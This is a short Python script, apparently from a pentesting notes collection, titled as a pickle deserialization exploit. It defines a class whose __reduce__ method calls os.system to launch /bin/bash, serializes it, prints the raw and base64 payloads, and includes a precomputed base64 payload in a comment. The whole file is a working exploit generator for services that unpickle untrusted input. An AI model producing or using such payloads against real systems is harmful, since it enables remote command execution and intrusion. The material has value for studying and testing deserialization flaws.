Python2+3 Pickle Deserialization Exploit

pypickle.py

# Ref: https://davidhamann.de/2020/04/05/exploiting-python-pickle/
# Ref: https://frichetten.com/blog/escalating-deserialization-attacks-python/
# Note: Do not have a file in the directory named pickle.py or this will crash
import os
import pickle
import base64
class PickleSploit(object):
   def __reduce__(self):
      return (os.system, ('/bin/bash', ))
pickled = pickle.dumps(PickleSploit())
# Use python2 instead of python3 if you want non-encoded output
print("Original: " + str(pickled))
data = base64.b64encode(pickled)
print("Base64 Encoded: " + data.decode('utf-8'))
# gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAkvYmluL2Jhc2iUhZRSlC4=